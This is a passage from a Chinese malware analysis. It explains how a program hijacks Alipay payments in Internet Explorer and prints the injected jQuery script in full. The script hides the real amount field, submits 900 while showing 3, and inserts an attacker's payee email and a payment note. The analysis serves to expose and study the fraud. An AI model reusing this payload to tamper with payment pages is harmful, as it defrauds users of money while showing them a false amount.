14637199312688.jpg

2. 带着http://www.alipay.com参数启动IEXPLORE.EXE，使用易语言（恶意代码作者的日常之选）封装的DOM类库，查找当前浏览器是不是正在进行付款操作。

14637199809677.jpg

3. 如果当前正在进行付款操作，根据付款的流程，修改网页的显示。使用易语言的类成员方法（0x4040DB处），修改页面显示内容。此处方法有两个参数，参数一为“exescript”，参数二为要运行的脚本代码。将页面上显示的金额信息与付款金额填写为下图样式。至此，细心的人应该发现，软件能够帮你把金额和收款人自动填写上，当然也可以悄无声息地修改信息。14637200091169.jpg

参数二的脚本内容为：

seajs.use("jquery",function($)

{$('#reason').val('USERvpn111 MCZ2016254525');

$('#ipt-search-key').val('lrh103272@163.com');

vara1=$('#amount').clone();

$('#amount').css('display','none');

$('#amunt').val('900');a1.val('3');

a1.attr('id','amount1');

a1.removeAttr('name');

a1.insertAfter($('label[for="amount"]'));

}

);




14637200551620.jpg